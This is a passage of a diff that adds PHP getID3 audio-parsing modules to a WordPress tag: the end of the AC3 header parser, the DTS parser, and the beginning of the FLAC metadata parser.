+		$thisfile_ac3_raw_bsi['bsmod'] = $this->readHeaderBSI(3);
+		$thisfile_ac3_raw_bsi['acmod'] = $this->readHeaderBSI(3);
+
+		$thisfile_ac3['service_type'] = self::serviceTypeLookup($thisfile_ac3_raw_bsi['bsmod'], $thisfile_ac3_raw_bsi['acmod']);
+		$ac3_coding_mode = self::audioCodingModeLookup($thisfile_ac3_raw_bsi['acmod']);
+		foreach($ac3_coding_mode as $key => $value) {
+			$thisfile_ac3[$key] = $value;
+		}
+		switch ($thisfile_ac3_raw_bsi['acmod']) {
+			case 0:
+			case 1:
+				$info['audio']['channelmode'] = 'mono';
+				break;
+			case 3:
+			case 4:
+				$info['audio']['channelmode'] = 'stereo';
+				break;
+			default:
+				$info['audio']['channelmode'] = 'surround';
+				break;
+		}
+		$info['audio']['channels'] = $thisfile_ac3['num_channels'];
+
+		if ($thisfile_ac3_raw_bsi['acmod'] & 0x01) {
+			// If the lsb of acmod is a 1, center channel is in use and cmixlev follows in the bit stream.
+			$thisfile_ac3_raw_bsi['cmixlev'] = $this->readHeaderBSI(2);
+			$thisfile_ac3['center_mix_level'] = self::centerMixLevelLookup($thisfile_ac3_raw_bsi['cmixlev']);
+		}
+
+		if ($thisfile_ac3_raw_bsi['acmod'] & 0x04) {
+			// If the msb of acmod is a 1, surround channels are in use and surmixlev follows in the bit stream.
+			$thisfile_ac3_raw_bsi['surmixlev'] = $this->readHeaderBSI(2);
+			$thisfile_ac3['surround_mix_level'] = self::surroundMixLevelLookup($thisfile_ac3_raw_bsi['surmixlev']);
+		}
+
+		if ($thisfile_ac3_raw_bsi['acmod'] == 0x02) {
+			// When operating in the two channel mode, this 2-bit code indicates whether or not the program has been encoded in Dolby Surround.
+			$thisfile_ac3_raw_bsi['dsurmod'] = $this->readHeaderBSI(2);
+			$thisfile_ac3['dolby_surround_mode'] = self::dolbySurroundModeLookup($thisfile_ac3_raw_bsi['dsurmod']);
+		}
+
+		$thisfile_ac3_raw_bsi['lfeon'] = (bool) $this->readHeaderBSI(1);
+		$thisfile_ac3['lfe_enabled'] = $thisfile_ac3_raw_bsi['lfeon'];
+		if ($thisfile_ac3_raw_bsi['lfeon']) {
+			//$info['audio']['channels']++;
+			$info['audio']['channels'] .= '.1';
+		}
+
+		$thisfile_ac3['channels_enabled'] = self::channelsEnabledLookup($thisfile_ac3_raw_bsi['acmod'], $thisfile_ac3_raw_bsi['lfeon']);
+
+		// This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31.
+		// The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent.
+		$thisfile_ac3_raw_bsi['dialnorm'] = $this->readHeaderBSI(5);
+		$thisfile_ac3['dialogue_normalization'] = '-'.$thisfile_ac3_raw_bsi['dialnorm'].'dB';
+
+		$thisfile_ac3_raw_bsi['compre_flag'] = (bool) $this->readHeaderBSI(1);
+		if ($thisfile_ac3_raw_bsi['compre_flag']) {
+			$thisfile_ac3_raw_bsi['compr'] = $this->readHeaderBSI(8);
+			$thisfile_ac3['heavy_compression'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr']);
+		}
+
+		$thisfile_ac3_raw_bsi['langcode_flag'] = (bool) $this->readHeaderBSI(1);
+		if ($thisfile_ac3_raw_bsi['langcode_flag']) {
+			$thisfile_ac3_raw_bsi['langcod'] = $this->readHeaderBSI(8);
+		}
+
+		$thisfile_ac3_raw_bsi['audprodie'] = (bool) $this->readHeaderBSI(1);
+		if ($thisfile_ac3_raw_bsi['audprodie']) {
+			$thisfile_ac3_raw_bsi['mixlevel'] = $this->readHeaderBSI(5);
+			$thisfile_ac3_raw_bsi['roomtyp']  = $this->readHeaderBSI(2);
+
+			$thisfile_ac3['mixing_level'] = (80 + $thisfile_ac3_raw_bsi['mixlevel']).'dB';
+			$thisfile_ac3['room_type']    = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp']);
+		}
+
+		if ($thisfile_ac3_raw_bsi['acmod'] == 0x00) {
+			// If acmod is 0, then two completely independent program channels (dual mono)
+			// are encoded into the bit stream, and are referenced as Ch1, Ch2. In this case,
+			// a number of additional items are present in BSI or audblk to fully describe Ch2.
+
+			// This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31.
+			// The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent.
+			$thisfile_ac3_raw_bsi['dialnorm2'] = $this->readHeaderBSI(5);
+			$thisfile_ac3['dialogue_normalization2'] = '-'.$thisfile_ac3_raw_bsi['dialnorm2'].'dB';
+
+			$thisfile_ac3_raw_bsi['compre_flag2'] = (bool) $this->readHeaderBSI(1);
+			if ($thisfile_ac3_raw_bsi['compre_flag2']) {
+				$thisfile_ac3_raw_bsi['compr2'] = $this->readHeaderBSI(8);
+				$thisfile_ac3['heavy_compression2'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr2']);
+			}
+
+			$thisfile_ac3_raw_bsi['langcode_flag2'] = (bool) $this->readHeaderBSI(1);
+			if ($thisfile_ac3_raw_bsi['langcode_flag2']) {
+				$thisfile_ac3_raw_bsi['langcod2'] = $this->readHeaderBSI(8);
+			}
+
+			$thisfile_ac3_raw_bsi['audprodie2'] = (bool) $this->readHeaderBSI(1);
+			if ($thisfile_ac3_raw_bsi['audprodie2']) {
+				$thisfile_ac3_raw_bsi['mixlevel2'] = $this->readHeaderBSI(5);
+				$thisfile_ac3_raw_bsi['roomtyp2']  = $this->readHeaderBSI(2);
+
+				$thisfile_ac3['mixing_level2'] = (80 + $thisfile_ac3_raw_bsi['mixlevel2']).'dB';
+				$thisfile_ac3['room_type2']    = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp2']);
+			}
+
+		}
+
+		$thisfile_ac3_raw_bsi['copyright'] = (bool) $this->readHeaderBSI(1);
+
+		$thisfile_ac3_raw_bsi['original']  = (bool) $this->readHeaderBSI(1);
+
+		$thisfile_ac3_raw_bsi['timecode1_flag'] = (bool) $this->readHeaderBSI(1);
+		if ($thisfile_ac3_raw_bsi['timecode1_flag']) {
+			$thisfile_ac3_raw_bsi['timecode1'] = $this->readHeaderBSI(14);
+		}
+
+		$thisfile_ac3_raw_bsi['timecode2_flag'] = (bool) $this->readHeaderBSI(1);
+		if ($thisfile_ac3_raw_bsi['timecode2_flag']) {
+			$thisfile_ac3_raw_bsi['timecode2'] = $this->readHeaderBSI(14);
+		}
+
+		$thisfile_ac3_raw_bsi['addbsi_flag'] = (bool) $this->readHeaderBSI(1);
+		if ($thisfile_ac3_raw_bsi['addbsi_flag']) {
+			$thisfile_ac3_raw_bsi['addbsi_length'] = $this->readHeaderBSI(6);
+
+			$this->AC3header['bsi'] .= getid3_lib::BigEndian2Bin($this->fread($thisfile_ac3_raw_bsi['addbsi_length']));
+
+			$thisfile_ac3_raw_bsi['addbsi_data'] = substr($this->AC3header['bsi'], $this->BSIoffset, $thisfile_ac3_raw_bsi['addbsi_length'] * 8);
+			$this->BSIoffset += $thisfile_ac3_raw_bsi['addbsi_length'] * 8;
+		}
+
+		return true;
+	}
+
+	private function readHeaderBSI($length) {
+		$data = substr($this->AC3header['bsi'], $this->BSIoffset, $length);
+		$this->BSIoffset += $length;
+
+		return bindec($data);
+	}
+
+	public static function sampleRateCodeLookup($fscod) {
+		static $sampleRateCodeLookup = array(
+			0 => 48000,
+			1 => 44100,
+			2 => 32000,
+			3 => 'reserved' // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute.
+		);
+		return (isset($sampleRateCodeLookup[$fscod]) ? $sampleRateCodeLookup[$fscod] : false);
+	}
+
+	public static function serviceTypeLookup($bsmod, $acmod) {
+		static $serviceTypeLookup = array();
+		if (empty($serviceTypeLookup)) {
+			for ($i = 0; $i <= 7; $i++) {
+				$serviceTypeLookup[0][$i] = 'main audio service: complete main (CM)';
+				$serviceTypeLookup[1][$i] = 'main audio service: music and effects (ME)';
+				$serviceTypeLookup[2][$i] = 'associated service: visually impaired (VI)';
+				$serviceTypeLookup[3][$i] = 'associated service: hearing impaired (HI)';
+				$serviceTypeLookup[4][$i] = 'associated service: dialogue (D)';
+				$serviceTypeLookup[5][$i] = 'associated service: commentary (C)';
+				$serviceTypeLookup[6][$i] = 'associated service: emergency (E)';
+			}
+
+			$serviceTypeLookup[7][1]      = 'associated service: voice over (VO)';
+			for ($i = 2; $i <= 7; $i++) {
+				$serviceTypeLookup[7][$i] = 'main audio service: karaoke';
+			}
+		}
+		return (isset($serviceTypeLookup[$bsmod][$acmod]) ? $serviceTypeLookup[$bsmod][$acmod] : false);
+	}
+
+	public static function audioCodingModeLookup($acmod) {
+		// array(channel configuration, # channels (not incl LFE), channel order)
+		static $audioCodingModeLookup = array (
+			0 => array('channel_config'=>'1+1', 'num_channels'=>2, 'channel_order'=>'Ch1,Ch2'),
+			1 => array('channel_config'=>'1/0', 'num_channels'=>1, 'channel_order'=>'C'),
+			2 => array('channel_config'=>'2/0', 'num_channels'=>2, 'channel_order'=>'L,R'),
+			3 => array('channel_config'=>'3/0', 'num_channels'=>3, 'channel_order'=>'L,C,R'),
+			4 => array('channel_config'=>'2/1', 'num_channels'=>3, 'channel_order'=>'L,R,S'),
+			5 => array('channel_config'=>'3/1', 'num_channels'=>4, 'channel_order'=>'L,C,R,S'),
+			6 => array('channel_config'=>'2/2', 'num_channels'=>4, 'channel_order'=>'L,R,SL,SR'),
+			7 => array('channel_config'=>'3/2', 'num_channels'=>5, 'channel_order'=>'L,C,R,SL,SR'),
+		);
+		return (isset($audioCodingModeLookup[$acmod]) ? $audioCodingModeLookup[$acmod] : false);
+	}
+
+	public static function centerMixLevelLookup($cmixlev) {
+		static $centerMixLevelLookup;
+		if (empty($centerMixLevelLookup)) {
+			$centerMixLevelLookup = array(
+				0 => pow(2, -3.0 / 6), // 0.707 (-3.0 dB)
+				1 => pow(2, -4.5 / 6), // 0.595 (-4.5 dB)
+				2 => pow(2, -6.0 / 6), // 0.500 (-6.0 dB)
+				3 => 'reserved'
+			);
+		}
+		return (isset($centerMixLevelLookup[$cmixlev]) ? $centerMixLevelLookup[$cmixlev] : false);
+	}
+
+	public static function surroundMixLevelLookup($surmixlev) {
+		static $surroundMixLevelLookup;
+		if (empty($surroundMixLevelLookup)) {
+			$surroundMixLevelLookup = array(
+				0 => pow(2, -3.0 / 6),
+				1 => pow(2, -6.0 / 6),
+				2 => 0,
+				3 => 'reserved'
+			);
+		}
+		return (isset($surroundMixLevelLookup[$surmixlev]) ? $surroundMixLevelLookup[$surmixlev] : false);
+	}
+
+	public static function dolbySurroundModeLookup($dsurmod) {
+		static $dolbySurroundModeLookup = array(
+			0 => 'not indicated',
+			1 => 'Not Dolby Surround encoded',
+			2 => 'Dolby Surround encoded',
+			3 => 'reserved'
+		);
+		return (isset($dolbySurroundModeLookup[$dsurmod]) ? $dolbySurroundModeLookup[$dsurmod] : false);
+	}
+
+	public static function channelsEnabledLookup($acmod, $lfeon) {
+		$lookup = array(
+			'ch1'=>(bool) ($acmod == 0),
+			'ch2'=>(bool) ($acmod == 0),
+			'left'=>(bool) ($acmod > 1),
+			'right'=>(bool) ($acmod > 1),
+			'center'=>(bool) ($acmod & 0x01),
+			'surround_mono'=>false,
+			'surround_left'=>false,
+			'surround_right'=>false,
+			'lfe'=>$lfeon);
+		switch ($acmod) {
+			case 4:
+			case 5:
+				$lookup['surround_mono']  = true;
+				break;
+			case 6:
+			case 7:
+				$lookup['surround_left']  = true;
+				$lookup['surround_right'] = true;
+				break;
+		}
+		return $lookup;
+	}
+
+	public static function heavyCompression($compre) {
+		// The first four bits indicate gain changes in 6.02dB increments which can be
+		// implemented with an arithmetic shift operation. The following four bits
+		// indicate linear gain changes, and require a 5-bit multiply.
+		// We will represent the two 4-bit fields of compr as follows:
+		//   X0 X1 X2 X3 . Y4 Y5 Y6 Y7
+		// The meaning of the X values is most simply described by considering X to represent a 4-bit
+		// signed integer with values from -8 to +7. The gain indicated by X is then (X + 1) * 6.02 dB. The
+		// following table shows this in detail.
+
+		// Meaning of 4 msb of compr
+		//  7    +48.16 dB
+		//  6    +42.14 dB
+		//  5    +36.12 dB
+		//  4    +30.10 dB
+		//  3    +24.08 dB
+		//  2    +18.06 dB
+		//  1    +12.04 dB
+		//  0     +6.02 dB
+		// -1         0 dB
+		// -2     -6.02 dB
+		// -3    -12.04 dB
+		// -4    -18.06 dB
+		// -5    -24.08 dB
+		// -6    -30.10 dB
+		// -7    -36.12 dB
+		// -8    -42.14 dB
+
+		$fourbit = str_pad(decbin(($compre & 0xF0) >> 4), 4, '0', STR_PAD_LEFT);
+		if ($fourbit{0} == '1') {
+			$log_gain = -8 + bindec(substr($fourbit, 1));
+		} else {
+			$log_gain = bindec(substr($fourbit, 1));
+		}
+		$log_gain = ($log_gain + 1) * getid3_lib::RGADamplitude2dB(2);
+
+		// The value of Y is a linear representation of a gain change of up to -6 dB. Y is considered to
+		// be an unsigned fractional integer, with a leading value of 1, or: 0.1 Y4 Y5 Y6 Y7 (base 2). Y can
+		// represent values between 0.111112 (or 31/32) and 0.100002 (or 1/2). Thus, Y can represent gain
+		// changes from -0.28 dB to -6.02 dB.
+
+		$lin_gain = (16 + ($compre & 0x0F)) / 32;
+
+		// The combination of X and Y values allows compr to indicate gain changes from
+		//  48.16 - 0.28 = +47.89 dB, to
+		// -42.14 - 6.02 = -48.16 dB.
+
+		return $log_gain - $lin_gain;
+	}
+
+	public static function roomTypeLookup($roomtyp) {
+		static $roomTypeLookup = array(
+			0 => 'not indicated',
+			1 => 'large room, X curve monitor',
+			2 => 'small room, flat monitor',
+			3 => 'reserved'
+		);
+		return (isset($roomTypeLookup[$roomtyp]) ? $roomTypeLookup[$roomtyp] : false);
+	}
+
+	public static function frameSizeLookup($frmsizecod, $fscod) {
+		$padding     = (bool) ($frmsizecod % 2);
+		$framesizeid =   floor($frmsizecod / 2);
+
+		static $frameSizeLookup = array();
+		if (empty($frameSizeLookup)) {
+			$frameSizeLookup = array (
+				0  => array(128, 138, 192),
+				1  => array(40, 160, 174, 240),
+				2  => array(48, 192, 208, 288),
+				3  => array(56, 224, 242, 336),
+				4  => array(64, 256, 278, 384),
+				5  => array(80, 320, 348, 480),
+				6  => array(96, 384, 416, 576),
+				7  => array(112, 448, 486, 672),
+				8  => array(128, 512, 556, 768),
+				9  => array(160, 640, 696, 960),
+				10 => array(192, 768, 834, 1152),
+				11 => array(224, 896, 974, 1344),
+				12 => array(256, 1024, 1114, 1536),
+				13 => array(320, 1280, 1392, 1920),
+				14 => array(384, 1536, 1670, 2304),
+				15 => array(448, 1792, 1950, 2688),
+				16 => array(512, 2048, 2228, 3072),
+				17 => array(576, 2304, 2506, 3456),
+				18 => array(640, 2560, 2786, 3840)
+			);
+		}
+		if (($fscod == 1) && $padding) {
+			// frame lengths are padded by 1 word (16 bits) at 44100
+			$frameSizeLookup[$frmsizecod] += 2;
+		}
+		return (isset($frameSizeLookup[$framesizeid][$fscod]) ? $frameSizeLookup[$framesizeid][$fscod] : false);
+	}
+
+	public static function bitrateLookup($frmsizecod) {
+		$framesizeid =   floor($frmsizecod / 2);
+
+		static $bitrateLookup = array(
+			0  => 32000,
+			1  => 40000,
+			2  => 48000,
+			3  => 56000,
+			4  => 64000,
+			5  => 80000,
+			6  => 96000,
+			7  => 112000,
+			8  => 128000,
+			9  => 160000,
+			10 => 192000,
+			11 => 224000,
+			12 => 256000,
+			13 => 320000,
+			14 => 384000,
+			15 => 448000,
+			16 => 512000,
+			17 => 576000,
+			18 => 640000
+		);
+		return (isset($bitrateLookup[$framesizeid]) ? $bitrateLookup[$framesizeid] : false);
+	}
+
+
+}
Index: /tags/4.1.6/src/wp-includes/ID3/module.audio.dts.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/module.audio.dts.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/module.audio.dts.php	(revision 33402)
@@ -0,0 +1,291 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio.dts.php                                        //
+// module for analyzing DTS Audio files                        //
+// dependencies: NONE                                          //
+//                                                             //
+/////////////////////////////////////////////////////////////////
+
+
+/**
+* @tutorial http://wiki.multimedia.cx/index.php?title=DTS
+*/
+class getid3_dts extends getid3_handler
+{
+	/**
+	* Default DTS syncword used in native .cpt or .dts formats
+	*/
+    const syncword = "\x7F\xFE\x80\x01";
+
+	private $readBinDataOffset = 0;
+
+    /**
+    * Possible syncwords indicating bitstream encoding
+    */
+    public static $syncwords = array(
+    	0 => "\x7F\xFE\x80\x01",  // raw big-endian
+    	1 => "\xFE\x7F\x01\x80",  // raw little-endian
+    	2 => "\x1F\xFF\xE8\x00",  // 14-bit big-endian
+    	3 => "\xFF\x1F\x00\xE8"); // 14-bit little-endian
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+		$info['fileformat'] = 'dts';
+
+		$this->fseek($info['avdataoffset']);
+		$DTSheader = $this->fread(20); // we only need 2 words magic + 6 words frame header, but these words may be normal 16-bit words OR 14-bit words with 2 highest bits set to zero, so 8 words can be either 8*16/8 = 16 bytes OR 8*16*(16/14)/8 = 18.3 bytes
+
+		// check syncword
+		$sync = substr($DTSheader, 0, 4);
+        if (($encoding = array_search($sync, self::$syncwords)) !== false) {
+
+        	$info['dts']['raw']['magic'] = $sync;
+			$this->readBinDataOffset = 32;
+
+        } elseif ($this->isDependencyFor('matroska')) {
+
+			// Matroska contains DTS without syncword encoded as raw big-endian format
+			$encoding = 0;
+			$this->readBinDataOffset = 0;
+
+        } else {
+
+			unset($info['fileformat']);
+			return $this->error('Expecting "'.implode('| ', array_map('getid3_lib::PrintHexBytes', self::$syncwords)).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($sync).'"');
+
+		}
+
+		// decode header
+		$fhBS = '';
+		for ($word_offset = 0; $word_offset <= strlen($DTSheader); $word_offset += 2) {
+			switch ($encoding) {
+				case 0: // raw big-endian
+					$fhBS .=        getid3_lib::BigEndian2Bin(       substr($DTSheader, $word_offset, 2) );
+					break;
+				case 1: // raw little-endian
+					$fhBS .=        getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2)));
+					break;
+				case 2: // 14-bit big-endian
+					$fhBS .= substr(getid3_lib::BigEndian2Bin(       substr($DTSheader, $word_offset, 2) ), 2, 14);
+					break;
+				case 3: // 14-bit little-endian
+					$fhBS .= substr(getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2))), 2, 14);
+					break;
+			}
+		}
+
+		$info['dts']['raw']['frame_type']             =        $this->readBinData($fhBS,  1);
+		$info['dts']['raw']['deficit_samples']        =        $this->readBinData($fhBS,  5);
+		$info['dts']['flags']['crc_present']          = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['raw']['pcm_sample_blocks']      =        $this->readBinData($fhBS,  7);
+		$info['dts']['raw']['frame_byte_size']        =        $this->readBinData($fhBS, 14);
+		$info['dts']['raw']['channel_arrangement']    =        $this->readBinData($fhBS,  6);
+		$info['dts']['raw']['sample_frequency']       =        $this->readBinData($fhBS,  4);
+		$info['dts']['raw']['bitrate']                =        $this->readBinData($fhBS,  5);
+		$info['dts']['flags']['embedded_downmix']     = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['flags']['dynamicrange']         = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['flags']['timestamp']            = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['flags']['auxdata']              = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['flags']['hdcd']                 = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['raw']['extension_audio']        =        $this->readBinData($fhBS,  3);
+		$info['dts']['flags']['extended_coding']      = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['flags']['audio_sync_insertion'] = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['raw']['lfe_effects']            =        $this->readBinData($fhBS,  2);
+		$info['dts']['flags']['predictor_history']    = (bool) $this->readBinData($fhBS,  1);
+		if ($info['dts']['flags']['crc_present']) {
+			$info['dts']['raw']['crc16']              =        $this->readBinData($fhBS, 16);
+		}
+		$info['dts']['flags']['mri_perfect_reconst']  = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['raw']['encoder_soft_version']   =        $this->readBinData($fhBS,  4);
+		$info['dts']['raw']['copy_history']           =        $this->readBinData($fhBS,  2);
+		$info['dts']['raw']['bits_per_sample']        =        $this->readBinData($fhBS,  2);
+		$info['dts']['flags']['surround_es']          = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['flags']['front_sum_diff']       = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['flags']['surround_sum_diff']    = (bool) $this->readBinData($fhBS,  1);
+		$info['dts']['raw']['dialog_normalization']   =        $this->readBinData($fhBS,  4);
+
+
+		$info['dts']['bitrate']              = self::bitrateLookup($info['dts']['raw']['bitrate']);
+		$info['dts']['bits_per_sample']      = self::bitPerSampleLookup($info['dts']['raw']['bits_per_sample']);
+		$info['dts']['sample_rate']          = self::sampleRateLookup($info['dts']['raw']['sample_frequency']);
+		$info['dts']['dialog_normalization'] = self::dialogNormalization($info['dts']['raw']['dialog_normalization'], $info['dts']['raw']['encoder_soft_version']);
+		$info['dts']['flags']['lossless']    = (($info['dts']['raw']['bitrate'] == 31) ? true  : false);
+		$info['dts']['bitrate_mode']         = (($info['dts']['raw']['bitrate'] == 30) ? 'vbr' : 'cbr');
+		$info['dts']['channels']             = self::numChannelsLookup($info['dts']['raw']['channel_arrangement']);
+		$info['dts']['channel_arrangement']  = self::channelArrangementLookup($info['dts']['raw']['channel_arrangement']);
+
+		$info['audio']['dataformat']          = 'dts';
+		$info['audio']['lossless']            = $info['dts']['flags']['lossless'];
+		$info['audio']['bitrate_mode']        = $info['dts']['bitrate_mode'];
+		$info['audio']['bits_per_sample']     = $info['dts']['bits_per_sample'];
+		$info['audio']['sample_rate']         = $info['dts']['sample_rate'];
+		$info['audio']['channels']            = $info['dts']['channels'];
+		$info['audio']['bitrate']             = $info['dts']['bitrate'];
+		if (isset($info['avdataend']) && !empty($info['dts']['bitrate']) && is_numeric($info['dts']['bitrate'])) {
+			$info['playtime_seconds']         = ($info['avdataend'] - $info['avdataoffset']) / ($info['dts']['bitrate'] / 8);
+			if (($encoding == 2) || ($encoding == 3)) {
+				// 14-bit data packed into 16-bit words, so the playtime is wrong because only (14/16) of the bytes in the data portion of the file are used at the specified bitrate
+				$info['playtime_seconds'] *= (14 / 16);
+			}
+		}
+		return true;
+	}
+
+	private function readBinData($bin, $length) {
+		$data = substr($bin, $this->readBinDataOffset, $length);
+		$this->readBinDataOffset += $length;
+
+		return bindec($data);
+	}
+
+	public static function bitrateLookup($index) {
+		static $lookup = array(
+			0  => 32000,
+			1  => 56000,
+			2  => 64000,
+			3  => 96000,
+			4  => 112000,
+			5  => 128000,
+			6  => 192000,
+			7  => 224000,
+			8  => 256000,
+			9  => 320000,
+			10 => 384000,
+			11 => 448000,
+			12 => 512000,
+			13 => 576000,
+			14 => 640000,
+			15 => 768000,
+			16 => 960000,
+			17 => 1024000,
+			18 => 1152000,
+			19 => 1280000,
+			20 => 1344000,
+			21 => 1408000,
+			22 => 1411200,
+			23 => 1472000,
+			24 => 1536000,
+			25 => 1920000,
+			26 => 2048000,
+			27 => 3072000,
+			28 => 3840000,
+			29 => 'open',
+			30 => 'variable',
+			31 => 'lossless',
+		);
+		return (isset($lookup[$index]) ? $lookup[$index] : false);
+	}
+
+	public static function sampleRateLookup($index) {
+		static $lookup = array(
+			0  => 'invalid',
+			1  => 8000,
+			2  => 16000,
+			3  => 32000,
+			4  => 'invalid',
+			5  => 'invalid',
+			6  => 11025,
+			7  => 22050,
+			8  => 44100,
+			9  => 'invalid',
+			10 => 'invalid',
+			11 => 12000,
+			12 => 24000,
+			13 => 48000,
+			14 => 'invalid',
+			15 => 'invalid',
+		);
+		return (isset($lookup[$index]) ? $lookup[$index] : false);
+	}
+
+	public static function bitPerSampleLookup($index) {
+		static $lookup = array(
+			0  => 16,
+			1  => 20,
+			2  => 24,
+			3  => 24,
+		);
+		return (isset($lookup[$index]) ? $lookup[$index] : false);
+	}
+
+	public static function numChannelsLookup($index) {
+		switch ($index) {
+			case 0:
+				return 1;
+				break;
+			case 1:
+			case 2:
+			case 3:
+			case 4:
+				return 2;
+				break;
+			case 5:
+			case 6:
+				return 3;
+				break;
+			case 7:
+			case 8:
+				return 4;
+				break;
+			case 9:
+				return 5;
+				break;
+			case 10:
+			case 11:
+			case 12:
+				return 6;
+				break;
+			case 13:
+				return 7;
+				break;
+			case 14:
+			case 15:
+				return 8;
+				break;
+		}
+		return false;
+	}
+
+	public static function channelArrangementLookup($index) {
+		static $lookup = array(
+			0  => 'A',
+			1  => 'A + B (dual mono)',
+			2  => 'L + R (stereo)',
+			3  => '(L+R) + (L-R) (sum-difference)',
+			4  => 'LT + RT (left and right total)',
+			5  => 'C + L + R',
+			6  => 'L + R + S',
+			7  => 'C + L + R + S',
+			8  => 'L + R + SL + SR',
+			9  => 'C + L + R + SL + SR',
+			10 => 'CL + CR + L + R + SL + SR',
+			11 => 'C + L + R+ LR + RR + OV',
+			12 => 'CF + CR + LF + RF + LR + RR',
+			13 => 'CL + C + CR + L + R + SL + SR',
+			14 => 'CL + CR + L + R + SL1 + SL2 + SR1 + SR2',
+			15 => 'CL + C+ CR + L + R + SL + S + SR',
+		);
+		return (isset($lookup[$index]) ? $lookup[$index] : 'user-defined');
+	}
+
+	public static function dialogNormalization($index, $version) {
+		switch ($version) {
+			case 7:
+				return 0 - $index;
+				break;
+			case 6:
+				return 0 - 16 - $index;
+				break;
+		}
+		return false;
+	}
+
+}
Index: /tags/4.1.6/src/wp-includes/ID3/module.audio.flac.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/module.audio.flac.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/module.audio.flac.php	(revision 33402)
@@ -0,0 +1,443 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio.flac.php                                       //
+// module for analyzing FLAC and OggFLAC audio files           //
+// dependencies: module.audio.ogg.php                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true);
+
+/**
+* @tutorial http://flac.sourceforge.net/format.html
+*/
+class getid3_flac extends getid3_handler
+{
+	const syncword = 'fLaC';
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		$this->fseek($info['avdataoffset']);
+		$StreamMarker = $this->fread(4);
+		if ($StreamMarker != self::syncword) {
+			return $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($StreamMarker).'"');
+		}
+		$info['fileformat']            = 'flac';
+		$info['audio']['dataformat']   = 'flac';
+		$info['audio']['bitrate_mode'] = 'vbr';
+		$info['audio']['lossless']     = true;
+
+		// parse flac container
+		return $this->parseMETAdata();
+	}
+
+	public function parseMETAdata() {
+		$info = &$this->getid3->info;
+		do {
+			$BlockOffset   = $this->ftell();
+			$BlockHeader   = $this->fread(4);
+			$LBFBT         = getid3_lib::BigEndian2Int(substr($BlockHeader, 0, 1));
+			$LastBlockFlag = (bool) ($LBFBT & 0x80);
+			$BlockType     =        ($LBFBT & 0x7F);
+			$BlockLength   = getid3_lib::BigEndian2Int(substr($BlockHeader, 1, 3));
+			$BlockTypeText = self::metaBlockTypeLookup($BlockType);
+
+			if (($BlockOffset + 4 + $BlockLength) > $info['avdataend']) {
+				$this->error('METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockTypeText.') at offset '.$BlockOffset.' extends beyond end of file');
+				break;
+			}
+			if ($BlockLength < 1) {
+				$this->error('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockLength.') at offset '.$BlockOffset.' is invalid');
+				break;
+			}
+
+			$info['flac'][$BlockTypeText]['raw'] = array();
+			$BlockTypeText_raw = &$info['flac'][$BlockTypeText]['raw'];
+
+			$BlockTypeText_raw['offset']          = $BlockOffset;
+			$BlockTypeText_raw['last_meta_block'] = $LastBlockFlag;
+			$BlockTypeText_raw['block_type']      = $BlockType;
+			$BlockTypeText_raw['block_type_text'] = $BlockTypeText;
+			$BlockTypeText_raw['block_length']    = $BlockLength;
+			if ($BlockTypeText_raw['block_type'] != 0x06) { // do not read attachment data automatically
+				$BlockTypeText_raw['block_data']  = $this->fread($BlockLength);
+			}
+
+			switch ($BlockTypeText) {
+				case 'STREAMINFO':     // 0x00
+					if (!$this->parseSTREAMINFO($BlockTypeText_raw['block_data'])) {
+						return false;
+					}
+					break;
+
+				case 'PADDING':        // 0x01
+					unset($info['flac']['PADDING']); // ignore
+					break;
+
+				case 'APPLICATION':    // 0x02
+					if (!$this->parseAPPLICATION($BlockTypeText_raw['block_data'])) {
+						return false;
+					}
+					break;
+
+				case 'SEEKTABLE':      // 0x03
+					if (!$this->parseSEEKTABLE($BlockTypeText_raw['block_data'])) {
+						return false;
+					}
+					break;
+
+				case 'VORBIS_COMMENT': // 0x04
